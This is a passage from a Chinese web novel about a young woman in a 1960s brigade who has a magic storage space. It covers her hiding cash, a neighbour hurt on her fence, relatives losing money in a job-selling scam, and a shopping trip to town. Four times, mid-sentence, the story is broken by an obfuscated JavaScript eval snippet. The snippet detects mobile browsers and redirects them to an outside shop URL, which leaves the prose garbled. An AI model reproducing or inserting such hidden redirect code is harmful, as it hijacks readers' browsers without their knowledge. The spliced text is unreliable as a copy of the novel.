票据大多是布票、粮票、肉票、工业券这些,其他的票据也有,但是很少。 那一沓钱按照面额的大小整齐放好,底下是最大面额的大团结,江余数了数,竟然有九十五张,也就是九百五十块钱,其他零零散散的钱加起来有六百三十五块,加起来是一千五百八十五块。 加上身上的十八块六毛钱,江余有了一千六百零三块六毛钱,在这个年代,这是一笔巨款。 家里只有江余一个人住,把钱放在家里不用担心被人发现,可是万一有人来偷东西呢,还是得把钱藏好,在地上挖洞是不行的,太潮湿了。 江余挪开柜子,在柜子后面的墙上挖了个洞,用布把九十五张大团结包起来,放进一个木头匣子里,再把匣子放进洞里,把挖下来的黄泥用水搅拌后,把洞重新封好,等黄泥干了,江余还给修了一下,让这块地方变得和其他的泥砖一样。 江余又不打算盖房子买大件,手里留的六百多块钱够她花好久了,这九百五十块就存着吧。 趁着大家还没下工,江余先把猪大肠做了,这猪大肠处理起来还挺麻烦的,她用水清洗了十几遍,才觉得干净了,大肠要放辣椒爆炒才好吃,家里没有干辣椒,不过她昨天抽奖抽到了两斤青椒,用青椒炒也行。 这大肠做起来麻烦,做好了是真的香,整个厨房都是呛人的香味,江余还把门和窗给关上了,那味道呛得她脸都红了,赶紧开门开窗通风透气,中午没什么风,别人应该闻不到这味道。 青椒炒肥肠十分下饭,江余又干掉了一大碗米饭。她买了四斤猪大肠呢,一顿肯定吃不完,剩下的都放到空间里保鲜,留着下一顿吃。 江余吃完饭,社员们才刚下工,看着还有时间,烧了一锅热水,把空间里的几只野鸭给处理了。野鸭的个头比家养的鸭要小很多,一共有五只野鸭,个头小的两斤多,个头大的有三斤多,身上的肉都不多,好歹也是肉,江余还是挺高兴的。 处理完几只野鸭,也差不多到了上工的时间,江余就请了一上午的假,下午还是要去上工的。 把处理好的野鸭放进空间,和买来的两根骨头放在一起,有了空间,这些肉就不怕放坏了,这个“冰箱”用起来真方便。 从山上砍回来的木材已经晒干了,江余每天下工回家吃完饭就动手做笼子,说起来容易,真正动起手来还挺难的。 江余打算拿木头搭成一个长方体的框架,在四周的木头上凿一排洞,把大小均匀的木棍穿进洞里,笼子就算做好了。 没有合适的工具,要在木头上凿洞可不容易,江余只能把木头改成竹子,那个容易凿洞,她上山砍了一棵竹子回来,得等竹子晒干才能用,小鸡仔们的新家要晚几天才能完工了。 青椒炒肥肠吃了几天吃完了,下午下工回家,江余把两根骨头拿出来洗干净,把骨头敲断,放进锅里炖。骨头上面没有肉,还是能炖出来不少油的,炖出来的汤没有什么腥味,炖好后放了一点盐调味,味道就很鲜美了。 骨头炖出来的汤也有肉味,何大娘在自留地隐约闻到了一点肉味,她嘀咕道:“谁家这么显摆!这不年不节的也吃肉。” 她在自己家的自留地摘菜,眼睛却瞄着江余家的菜地,看四周没人,她抬腿就想跨过篱笆到江余家的菜地去,没想到江余扎的篱笆不仅结实,还把上面给削尖了,何大娘腿又不是很长,这一跨就卡住了,大腿被削尖的树枝扎了一下,疼得她发出杀猪一样的叫声。 江余听到声音跑出来看,见何大娘一条腿跨在她家的篱笆上,就猜到发生了什么,“何大娘,你这是干什么呢,可别把我家篱笆给压坏了!” 何大娘的腿动一下就痛,怎么下得来,她骂道:“江余你个狠毒的死丫头,把篱笆削那么尖,你就是故意想害我!这次你要是不赔我二十斤稻谷,我就去找大队长评理!” “那你去找大队长吧,正好我也要找大队长评评理,说说你想偷我家菜的事。” 何大娘就是想吓一吓江余而已,她哪里敢去找大队长,以前这一招挺管用的,现在江余根本不吃她这一套。 何大娘后知后觉,江余真的是变了,变得不好欺负了,以前江余的眼睛都不敢直视别人的,现在一双眼睛直勾勾地盯着她,一点也不怕她闹。一想到以后都不能再占江余家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986159|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便宜,何大娘就觉得心痛到不行。 那边田彩燕听到声音也出来了,“何大娘,你家又不是没有菜吃,干嘛非要偷人家江余家的菜啊?人家江余种点菜也不容易。” 何大娘只是想偷,不是还没偷吗?可不能让田彩燕污蔑她! “田彩燕你别胡说!谁说我要偷菜了,我就是跨篱笆跨着玩的。” 谁没事跨篱笆跨着玩啊,又不是小孩子,这话谁信啊。 其他人听到声音也出来看热闹,这周围的邻居都被何大娘占过便宜,都不待见何大娘,再加上陈家父子偷粮食的事,大家更讨厌何大娘了。 “何大娘,你们一家子可真是占便宜没个够的啊,你男人和儿子偷粮食,你就偷菜,真是一点脸面都不要了。” “大家都看着呢,她还不从江余家的篱笆下来,她脸皮厚着呢。” “这何大娘连菜都偷,大家可要看好自己家的菜地啊。” “不止菜地要看好,家里的鸡也要看好,别被何大娘给偷了,一只鸡可贵了!” “鸡她可能不敢偷,这多显眼啊,但是鸡蛋还是要看好了,要是不小心被她摸走了可就不好了。” 众人你一言我一语地,说得何大娘的脸色发黑,何大娘的两个儿媳妇在屋里听见大家的话,根本不敢出来,何大娘不要脸,她们可要脸呢。 何大娘就这么尴尬地一条腿跨在江余家的篱笆上,被众人指指点点,她终于忍不住了,“老大家的!你耳朵聋了啊!还不快出来扶我一把!” 被何大娘点名的李杏花看了一眼事不关己的妯娌,不情不愿地挪动脚步走出去。 李杏花扶着何大娘就往后拉,痛得何大娘又发出了杀猪般的叫声,“你想痛死我啊!那树枝扎到我腿上了,先把树枝拔出来啊!” 树枝插在地上是没办法拔的,李杏花只能拔何大娘的大腿了,她一个用力,自己连带着何大娘一起往后摔,两个人摔在一起,何大娘还被李杏花压在下面,何大娘再次发出惨叫。 李杏花连忙爬起来,再把何大娘也扶起来,何大娘看着低眉顺眼的李杏花,怀疑她是故意的,现在指不定在心里偷笑呢。她的腿还疼着呢,处理她腿上的伤要紧,教训儿媳妇的事以后再说。 江余好心提醒了一句,“何大娘,你年纪大了,腿脚不利索,可不要随便跨篱笆玩了,特别是我家的篱笆可是带刺的,要是不小心伤着你了,我可不管的!” 何大娘没心思管江余说什么了,她的大腿被削尖的树枝扎伤了,还流着血,她一向很爱惜自己的命,生怕自己出点什么事,连声催着李杏花扶她去大队的卫生所,找赤脚大夫老李帮她看看。 何大娘去卫生所的路上还被撞了一下,她心情正不爽着呢,就骂了一句,“走路不长眼啊!” 撞到何大娘的人是一脸怒容的吴桂花,她气势汹汹一副要去找人干仗的样子,根本没搭理何大娘。 何大娘本想让吴桂花赔她医药费的,见吴桂花这个样子,她觉得自己还是别去招惹吴桂花比较好。 27. 第 27 章 早上喝的红薯粥,不抗饿,还没到下工时间呢,江余就已经饿了,她趁别人不注意,从空间里拿了两块饼干放进嘴里,饼干太干了,她还走到田埂边拿水壶来喝了一口水。 见江余喝水,其他人也觉得口渴了,都走到田埂边喝水,几个大娘凑在一起就想说闲话,旁边的大娘一脸八卦的表情,“你们知道吗?昨天晚上张秀英和吴桂花两妯娌不知道为了什么事吵起来了!” “我也听到了,还看见吴桂花一脸怒气跑到张秀英家,紧接着屋里就传来吵架的声音,我听到吴桂花说了一句张秀英害了她什么的,也不知道张秀英做了什么,惹得妯娌和她翻脸。” “这两人的关系不是挺好的吗?之前还一起帮江余出头,对付何大娘呢。” 其他人一脸意味深长,“你不知道……” 吴桂花和张秀英这两家现在都快反目成仇了,是因为买工作的事。 把钱给了郑永发和他的亲戚后,到了约定的时间,张秀英和吴桂花都带着儿子去县城办理工作交接手续。 为此,她们还各自给儿子做了一身新衣服,这身新衣服还引起了其他孩子的不满。 尤其是张秀英的小儿子江卫军特别不高兴,他一向是家里最受宠的,这次居然只给江卫党做新衣服,没给他做,顿时就闹起来了,江有田和张秀英心疼小儿子,只好答应给江卫军也做一身新衣服。 四个孩子就剩两个女儿没得到新衣服了,她们都不高兴,埋怨父母偏心。不仅两个女儿不高兴,大儿子也不高兴。 江卫党对父母偏宠弟弟的事很不满,这次给他做新衣服,是因为他要去城里当工人了,江卫军又没去当工人,他凭什么也有新衣服! 吴桂花家还好一些,她小儿子才几岁大,只要有吃的就行了,不高兴的只有女儿江玲玲,吴桂花没办法,只好答应给江玲玲做件新上衣,这才把江玲玲给哄好了。 张秀英和吴桂花带着儿子来到县城的鞋厂,跟门卫说要找郑永发,门卫看他们眼生,就问了一句,“你们是郑永发什么人?找他做什么?” 张秀英:“我们是郑永发的亲戚,是来找他带我们办理工作交接手续的。” 门卫觉得更疑惑了,他怎么不知道厂里有人要卖工作啊,不过也有可能是人家瞒着不让别人知道,怕生事端。 “你们在这里等着,我去帮你们叫郑永发出来。” 过了一会儿,门卫大爷带着人出来了,张秀英和吴桂花一看,不对啊,这人比郑永发高,比郑永发胖,这不是她们认识的那个郑永发。 “这人不对,大爷,你叫错人了,这不是我们要找的郑永发。” 门卫大爷不高兴了,“我亲自去车间叫的人,怎么可能叫错!而且我们厂里就一个叫郑永发的,你们要是找郑永发,就是他没错了。” 门卫大爷觉得奇怪,“你们不是郑永发的亲戚吗?怎么还不认识他?” 被门卫大爷叫出来的郑永发也是一脸懵,“王大爷,什么亲戚啊?我根本就不认识这几个人啊!” 门卫大爷解释,“他们说是你亲戚,是来找你带他们办理工作交接手续的。” 现在的工作是不能直接卖的,但是可以让亲戚来接班,现在大家要卖工作就是这个操作,有的是通过中间人来买卖工作,双方没见过面,出现没见过面的“亲戚”这种情况也不是没有可能。 郑永发更懵了,“办理什么工作交接手续,这事我不知道啊!” 门卫大爷怀疑地看向张秀英几个人,“你们几个来我们厂子门口到底是干什么的?” 张秀英连忙解释,“大爷,我们真的是来办理工作交接手续的,我花了五百块从一个叫做郑永发的人那里买了他姐姐的工作,他说他是鞋厂的工人,他姐姐也在鞋厂工作,但是他姐姐要去随军了,所以就把工作卖了。” 吴桂花也连忙说:“没错,我也花了五百五十块买了郑永发亲戚的工作,我们说好了今天来办理工作交接手续的。” 郑永发:“你搞错了吧,我姐姐没有要去随军,更没有打算卖掉工作,我也没有亲戚要卖工作。” 吴桂花顿时急了,“怎么可能没有,我的钱都给出去了!” 门卫大爷:“都是一手办手续,一手交钱的,哪有提前给钱的啊?” “他们说办理工作交接手续的同志出差了,要等几天才能办理手续。” 门卫大爷和郑永发对视一眼,两人都挺无语的,“你们这是被骗了,我们厂子这周没人出差。” 吴桂花感觉天都要塌了,她的腿一软,整个人就坐在了地上,“那怎么办啊?我的五百五十块钱!” 她的儿子江卫国连忙伸手把她扶起来,“妈,你没事吧?你可别吓我!” 张秀英也愣住了,她根本没想到那个郑永发是假的,她再怎么精明也是个没见过什么世面的农村妇女,得知自己被骗了,五百块钱打水漂了,她一时也不知道该怎么办了。 江卫党听到自己的工作没了,十分着急,他推一推张秀英,“妈,现在怎么办啊?” 张秀英哪里知道该怎么办啊,她连那个假冒郑永发叫什么名字都不知道,上哪找人家去? 门卫大爷给了一个建议,“这加起来被骗了一千多块钱了,可不是小事啊,赶紧报公安去吧!” “对!这事得报公安,公安同志一定能帮我们把钱找回来的!” 县城公安局,张秀英和吴桂花事无巨细地把被骗的情况说出来,张秀英连请假冒的郑永发吃饭点了什么菜都说了。 负责记录的公安同志停下笔问:“前面说的我都记下来了,还有别的吗?” 张秀英和吴桂花把被骗的经过重复说了几次了,实在想不到还有什么要说的了,都摇摇头。 “行,你们先回去等着吧,有消息了我们的同志会通知你们的。” 张秀英忙问:“那什么时候能有消息啊?” 吴桂花抓着公安同志的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006415|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,满脸恳切,“公安同志,你可一定要帮我把钱找回来啊!那可是我们一家的命啊!” “我们会尽快处理这起案件的,有了消息就立刻派人通知你们,你们放心吧。” 江有田和江有粮都在家里等着儿子成为工人的好消息呢,好不容易等到人回来了,结果告诉他们卖工作的人是假冒的,工作没有了,钱被骗了,两个人都觉得眼前一阵发黑。 “什么?!钱被骗了?你不是打听清楚了吗?怎么还会被骗?” 张秀英也是十分懊恼,“我确实是打听了,我连郑永发家每个月吃几次肉都打听到了,可谁知道那个人不是真的郑永发,是个假冒的。” 江有田紧皱着眉头,在家里走来走去,“你什么都打听了,怎么就不能确认一下他是不是真的郑永发呢?五百块钱就这么随随便便交给了别人,那可是我的钱!不管怎么样,你都要把钱给我拿回来!” 张秀英连忙道:“我已经报公安了,公安同志肯定能抓住那个骗子,帮我们把钱找回来的。” “最好真的能把钱找回来!” 江卫党只知道一件事,那就是他的工作没了!他可是在大队里的同龄人面前炫耀过他要到城里当工人的,现在去不成了,他多没面子啊,还不知道那些人要怎么嘲笑他呢! “爸,妈,那我的工作怎么办啊?” 江有田虽然在气头上,对于儿子,他还是很有耐心的,“等钱找回来了,爸再想办法给你买一个工作,这次我亲自去,免得你妈又被人骗了!” 江卫党有些不乐意,等钱找回来才能给他买工作,那要等多久啊?万一这钱找不回来了呢? “还要等啊?咱们家又不是没钱,爸你先拿钱给我买一个工作不行吗?我都跟狗蛋他们说了我要去城里当工人的事,现在工作没了,他们肯定觉得我在骗他们,那我多丢脸啊!” “这工作哪里是说买就能买的,就算我现在去买,也买不到啊。”要是买工作那么容易,张秀英也不会被骗了。 “那更不能等了,现在买都买不到,再等一段时间更加买不到了。” 江有田也担心那五百块钱找不回来了,他本来想着先给大儿子买一个工作,等小儿子到了年龄,大儿子交给家里的工资也够买一个工作了。谁知道张秀英居然被人骗了,那家里就只剩六百块钱了,让他再拿五百块钱出来给大儿子买工作,他有些不愿意。 那边江有粮听到钱被骗子骗走了,也跟江有田一个反应,“这点事都办不好,真不知道你还能有什么用!” “你平时不是叫我多跟大嫂学学吗?这次买工作我就是跟着大嫂买的,你要怪就怪大嫂去,别来怪我!就你心疼钱吗?我也心疼钱呢!” 江有粮被噎住了,过了好一会儿才开口,“她也不是什么聪明人,以后你别跟她学了。” 没过两天,公安局的同志就传来消息,说是骗他们的钱的人已经找到了。也是巧了,那人现在正在公安局蹲着呢。 28. 第 28 章 公安同志不知道张秀英和吴桂花的家在哪里,就去找大队长,让大队长代为通知,其他社员看见公安来找大队长,以为出了什么事,都来找大队长打听出公安来他们大队干什么。 大队长:“就问了几句话,别的我也不知道。” 大队长当然知道公安是为什么事来的,社员被骗钱的事,公安肯定会告诉大队长的,但这是他们江家的事,家丑不可外扬啊! 接到消息,江有田和江有粮夫妻连忙赶往县城公安局。 “公安同志,那骗子在哪?我们被骗的钱呢?” 公安同志带了两个人出来,“你们先别着急,先确认一下,骗你们钱的人是不是他们。” 这两个人就是假冒的郑永发和郑永发的亲戚,张秀英和吴桂花看到这两个人,恨得牙痒痒,当即就冲上去,对着两个骗子手挠脚踢。 旁边的公安同志连忙过去拉住二人,“两位同志,别打了,打人是不对的。” “他们骗了我们的钱,是骗子,他们该打!” 怕他们再打人,公安同志赶紧让同事把两个骗子带走了,“确认骗你们钱的人是他们就好,你们听我说,事情是这样的……” 假冒郑永发的人叫做金老四,假冒郑永发亲戚的人叫李二明,他们都是丰收大队的人。 金老四偶然得知张秀英在打听买工作的事,正好他知道大队里有人的亲戚在城里当工人,从那人的吹嘘中,他知道了那人亲戚家的详细情况,就想到了要假借别人的身份卖工作给张秀英来骗钱。 后来吴桂花也说要买工作,他就找来了自己的好兄弟来假冒郑永发的亲戚,和他一起骗钱。 前两天公安局接到举报,说丰收大队有人聚众赌博,他们的同志接到举报后,就派人去盯梢,等他们开赌,就去抓人。这出其不意的行动将参与赌博的人抓了个正着,金老四和李二明也在被抓的人当中。 审问的时候,他们得知金老四和李二明最近这几天突然变得很有钱,这两人合起来,几天输掉了将近一千块钱!他们顺着这条线索查下去,查到了金老四和李二明就是卖工作给张秀英和吴桂花的骗子。 吴桂花急切地问:“既然你们已经把那个骗子抓了,那我们被骗的钱是不是已经找回来了?” 公安同志摇摇头,“人是抓到了,钱还没找回来。那些钱被他们花了一小部分,剩下的都被他们拿来赌博输光了。” 他们输掉的钱都在开设赌局的钱老大那里,公安局的同志抓人的时候,钱老大跑了。第二天他们才把他抓到,他们抓到人的时候,钱老大身上并没有钱,钱都被他藏起来了。 公安局的同志想从钱老大的口中得知那些赌资的下落,不管他们怎么审问,钱老大都不开口,还是后来钱老大的小弟透露了钱老大的逃跑路线,他们顺着这条逃跑路线,仔细搜寻,才找到了钱老大用来装钱的木盒。 他们找到木盒的时候,木盒的锁已经被破坏了,里面的钱也都被人拿走了。 钱老大藏木盒的地方跟哪一个大队都不挨着,任何人都有可能拿走那盒子里面的钱,这范围太广了,他们很难查出来。还好盒子里的借条没被拿走,借条上写了欠钱的原因是赌输了钱,那些借条足够给钱老大定罪了。 “你的意思是,我们的钱找不回来了?!” 江有田心痛极了,那可是五百块钱啊,就这么没了!“不行,必须让他们还钱!我的钱啊!” 江有粮:“对!必须让他们还钱,不能就这么放过他们!” 公安同志:“放心,他们犯了法,都会被送去劳动改造的。” “他们被送去劳动改造了,那谁来还我们的钱啊?公安同志,不能送他们去劳动改造,得先让他们还了我们的钱再说。” 公安同志愣了一下,“那可不行,他们触犯了法律,依法是要被送去劳动改造的。” “那我们的钱怎么办啊?” 骗子抓到了,钱却没找回来,两家人如丧考妣。 出了公安局,江有粮问:“大哥,现在该怎么办?那两个骗子要被送去劳动改造,我们找谁还钱去啊?” 江有田:“他们又不是石头里蹦出来的,他们不是还有家人吗?我们可以去找他们的家人要钱。” 江有粮眼前一亮,“大哥,那我们赶紧去丰收大队吧!” 江有田点点头,转头对张秀英说:“要钱这种事,你们女人去了也没用,你先回家吧。” 江有粮也对吴桂花道:“大哥说得对,这事我和大哥去就行了,你跟大嫂先回家吧。” 吴桂花心里怨张秀英害她被骗了钱,一路上也不和张秀英说话,两人一路沉默地走回去。 回到家的吴桂花没有心思做别的事,就等着江有粮把钱给要回来。 终于等到江有粮回来了,推门进来的江有粮鼻青脸肿的,吴桂花被吓了一跳,连忙问:“你不是跟大哥去要钱去了吗?怎么弄成这个样子?” 江有粮:“还不是都怪大哥非要威胁金家老太太,结果他就被金家老太太的几个儿子揍了,还连累我也挨了打!” “那钱呢?钱要回来没有?你快说说,这到底是怎么回事?” 兄弟两个决定先去金家,金家的人还挺多的,人多力量大,他家的壮劳力多,在丰收大队的日子过得不错,不然金老四也不能有钱去赌博。 江有田和江有粮到了丰收大队一路打听来到了金家门前,金家老太太出来看见两个眼生的人,眼睛上下来回打量了他们几眼,“你们找谁?” 江有田开门见山,“你家金老四骗了我五百块钱,你们得把钱还给我!” 金家老太太一听,原来是老四惹的祸,她的脸一下子就拉下来了,“我们家老四已经被公安抓走了,我们家没钱!” 江有田可不管那么多,他威胁道:“你们金家的人骗了我们的钱,你们金家就要还钱,要是不还,我就把你们家给砸了!” 金老太太身后走出来几个壮汉,“是谁要把我们家砸了?我先把他给砸了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024721|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想来他们金家耍横,当他们是好欺负的? 最后没要到钱的江有田和江有粮被打得鼻青脸肿,一瘸一拐地离开了丰收大队,他们怕被人看见丢脸,还不敢走大路,是走小路回家的。 吴桂花:“骗走我们家钱的是李二明,你不去李家要钱,去金家凑什么热闹?” 江有粮:“听说李家的人比金家还要凶,我和大哥两个人去金家都被打了,你让我自己去李家,那我岂不是被打得更惨?” “那这样说,我们岂不是不能去找李家还钱了?” 江有粮不小心碰到伤口,“哎呦”地叫了一声,“钱的事以后再说吧,你先去把药酒找出来给我擦擦,疼死我了!”他不想去卫生所,去卫生所他被打的事别人就知道了,多丢人啊! 吴桂花:“你自己找药酒出来自己擦吧,我得找张秀英他们算账去!” 江有粮:“你找他们算什么帐?” “张秀英害得我们家被骗了钱,你大哥又害你挨了打,他们家简直就是来克我们家的!我们家被骗的钱必须得找张秀英要回来,他们家还得赔你医药费!” 吴桂花气势汹汹去找张秀英去了。 张秀英找出家里的药酒正要给江有田上药呢,听到吴桂花要让她赔他们家五百五十块钱,她都要气笑了,“又不是我骗了你的钱,你凭什么让我赔钱?” 吴桂花要张秀英赔钱,张秀英不肯,两个人吵了起来,被周围的邻居听到了,你一句我一句,大家拼凑出来了她们两家买工作被骗的事。 这几天大队里的人都在说这两家被骗的事,江余也听了一耳朵八卦,她觉得这两家还挺倒霉的,不过看到他们倒霉,她挺高兴的。 今天江有田和江有粮两家被骗的事又有了新的消息。 “我听说他们两家被骗和丰收大队的人有关,前几天他们去丰收大队找金家还钱,结果被金家的人给打了!” 另一个大娘问:“是不是那个参与聚众赌博被公安抓走了的金老四家?” “就是他们家,听说金老四骗来的钱都被他输光了,金家也不可能去掏这一笔钱,看来江有田和江有粮家的钱是要不回来了。” 江余在一旁听着,心想怎么这么巧,她的那一笔意外之财里有一大半都是江有田和江有粮贡献的。要是这种好事能多来几次就好了,不过他们被骗了一次,下次应该不会再被骗了吧。 用了快十天的时间,江余终于把笼子做好了,她还在笼子的正面安了一个食槽,食槽是用一段竹子,把中间的竹节打通做成的。 小鸡们长得很快,江余养了一个多月,它们现在每一只都有一斤多重了,待在原来的笼子里显得有些拥挤,新的笼子做好后,江余就把它们搬了新家。 现在自留地里的菜大部分都长成了,江余一个人根本吃不完,就把下面老的菜叶给鸡吃,她现在都不需要挖野菜了,只需要时不时捉些虫子回来,鸡吃了虫子可以长得快一些,她上工的时候顺便就捉了,地里也有虫子。 29. 第 29 章 之前江余整理手里的票的时候,发现很多票都是有日期限制的,之前她忙着给小鸡们做笼子,没空去看,现在有了时间,她就想把那些票都拿出来看看,还好她想起来把票拿出来看了,不然再过几天有几张票就要报废了。 这些票的日期不一,日期远的还有几个月才过期,日期近的还有几天就过期了,江余决定把这些快过期的票都用掉。 江余找了个理由跟大队长请了假,她也没说自己要去县城,她一个没钱的人,经常往县城跑容易引起别人的怀疑。 等社员都去地里上工后,江余才走小路出发去县城。到了县城,江余先去了粮站,她想得很好,现在才是月初,粮站应该会有粮食的,她把所有的粮票都带来了,打算全部买大米,在有条件的情况下,她还是不太喜欢吃粗粮的。 粮站是开着门的,江余过去问有没有粮食卖,坐在柜台里面聊天的两位大姐头也不抬,“没有了,不管是细粮还是粗粮统统没有了,现在粮站里一粒粮食都没有,要买粮食下个月来早一点。” 江余没想到才2号,粮站就空了。别说2号,就算江余1号来也买不到粮食。县城居民家里的粮食也很紧张,接到粮站第二天有粮食供应的消息,县城居民半夜就来粮站门口排队了,天还没亮,粮站门口就排起了一条长龙,要是等到天亮才来排队,都不一定能买到粮食。 粮站没有粮食卖,江余手里的粮票还有一个地方能用,那就是国营饭店,即使粮站没粮卖了,国营饭店还是开着的。江余穿越了几个月,还没去过国营饭店呢,正好去尝一尝这个年代大厨做的菜。 不过这个时间点还早,没到用餐时间,国营饭店是不开门的,江余打算先去供销社把快过期的票给用了,再去国营饭店吃饭。 江余把最近要过期的票都用了,买了一堆东西,还买了一个铝制饭盒,这些东西都放在她自己缝制的斜挎包里,铝制饭盒等会儿去国营饭店可以用来打包菜。 她还想买一口铁锅的,家里只有一口锅不太方便,可惜供销社里没货了,售货员说要等下次供销社补货才有。 买完东西,时间还早,还没到国营饭店开门的时间,江余就随便在县城里逛逛,她不知不觉走到一个巷子里,走到一个转角,她看到前面有人一边有规律地敲门一边谨慎地看了一眼周围,江余连忙把踏出去的脚收了回来,幸好她收得及时,对方没发现她。 很快,那扇门打开了,一个有些黑瘦,个子不高的男子从里面出来,脸色不太好,尽管他说话的声音很低,江余凭借自己过人的耳力,还是能听到他说的话,“我不是说过不要白天过来吗?要是被人看到就不好了!” 那个敲门的人掀开身后背着的背篓上盖着的油布给男子看,“东哥,我知道你的规矩,我也不想白天来的,只是这种天气,这肉它放不住啊,都是上好的野猪肉,你看?” 东哥看了一眼背篓里的东西,脸色缓和了许多,“行了,下不为例,进来吧。” 两人进去后,大门关得严严实实的,江余不敢再往前走,原路返回了。 看样子,那个敲门的人不是第一次带着东西来找东哥了,这次带的都是不好保存的肉,现在国内没有多少人是有冰箱的,这个东哥收了这么多肉也没办法保存,不想这些肉坏在手里,就要尽快卖出去,看来那个东哥是有些门路的。 往回走的时候,江余路过废品回收站,她往里面看了一眼,现在的废品回收站就是收废品的,想要去捡漏,还要再等几年。 之后又路过书店,江余想买几本书来打发时间,这个年代没有什么娱乐活动,天黑了就躺床上睡觉,太早了还睡不早,能在睡前看一会儿书也挺好的。 现在形式还好,书店里很多书应该都是有卖的,江余打算买一些名著小说,对了,还要买一套课本,十几年后恢复高考的时候可以用得上。 现在高考还没取消,还能考大学,只是现在的江余连小学都没读完,没办法参加高考,她倒是可以努力学习让自己跳级,争取在那十年到来之前考上大学。 可是她也不可能不上工去上学啊,不上工她就分不到粮食,没有工分也不能抽奖,她倒是可以拿钱去黑市买粮食,不过这几年黑市的粮食很贵的,比粮站要贵十倍还不止,困难时期过去后才会降下来,她手里的一千多块钱不知道能不能撑到她考上大学。 考上大学也不是万事大吉了,她的芯子是后世来的,她的想法跟现在的人还是有很大的区别的,这个年代能考上大学的都不是等闲之辈,很容易就会发现她的不同,到时候要是有人怀疑她,给她来一个举报,那可就惨了。 所以,江余觉得在高考恢复之前,她还是老老实实待在江河大队比较好。 江余买了一堆的书,装满了她的斜挎包,她手上还拿着几本,去国营饭店的路上,她隔一会儿把手伸进挎包里把两本书转移到空间里,挎包空了一半后,她把手里拿着的书借着挎包的遮掩也放进了空间里,最后挎包里就剩两本书和一个饭盒了。 江余来到国营饭店的时候,国营饭店已经开门了,里面的人还不少,桌子已经坐满了一半。 柜台边上挂着一个牌子,写着今日供应的菜品,荤菜有红烧肉、粉蒸排骨还有一个西红柿炒鸡蛋,素菜就是清炒时蔬,不过应该不会有人特意来国营饭店吃炒青菜,江余看了一眼,别人的桌子上都没有青菜。主食是放了肉的炒河粉和米饭。 江余想着她不能经常请假,手里的粮票又快要过期了,就想一次多点一些,吃不完就放在空间保存。一份炒河粉是四两,她要了四份炒河粉,两份红烧肉,两份粉蒸排骨。 负责点菜的服务员听到她要点这么多,抬头看了她一眼,“你确定要点这么多?”她看见江余是一个人来的。 江余从随身背着的包里掏出洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037513|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净的铝制饭盒,“我吃不完可以打包拿回家。” 来国营饭店点菜打包回家的事很常见,人家一般就是点一份肉菜带回家改善一下伙食,很少有像江余这样一次点这么多菜的。服务员不是多管闲事的人,跟江余确认过后就没再多说什么,收了钱和粮票肉票,就把菜单送到后厨去了。 菜做好后,江余去端菜的窗口把她点的菜端过来,八个盘子摆了满满一桌,旁边的人看见都瞪大了眼睛,刚刚他们都听到江余和服务员的对话了,知道江余是要打包回家,可是这也太多了吧,这得花多少钱和粮票肉票啊,这小姑娘真不会过日子! 江余可不管别人是怎么看她的,菜端上来之后,她的眼睛就看不到别的的,吃一口红烧肉,香料的味道和肉的油脂完美融合,咬一口,油脂在嘴里爆开,肥而不腻,好吃! 再夹一块粉蒸排骨,轻轻一咬骨肉分离,肉质鲜嫩软糯,汁水浸透了排骨,吃完了肉,还要嗦两下骨头,把里面的肉汁吸出来才肯吐出来。 炒河粉也很好吃,色香味俱全,一点也不油腻,也没有很明显的调料味,可以打败后世百分之九十八的炒河粉了。 江余最近的胃口又变大了,她吃了一份炒河粉,还不觉得饱,又吃了半份,还吃了半份红烧肉,半份粉蒸排骨,才摸摸吃饱了的肚子,拿出铝制饭盒开始打包。 一个铝制饭盒是装不完的,她先装满了一饭盒,悄悄把里面的菜转移到空间里放着的盘子里,才假装又从包里拿出一个饭盒来打包,装了几次才把所有的菜和炒河粉打包完。 从国营饭店出来,江余担心饭盒里的汤汁会洒出来,就把挎包里的饭盒也转移到空间里去了,然后背着挎包踏上了回家的路,走到半路,她见四周没人,把挎包也放回空间里了,空着手往回走。 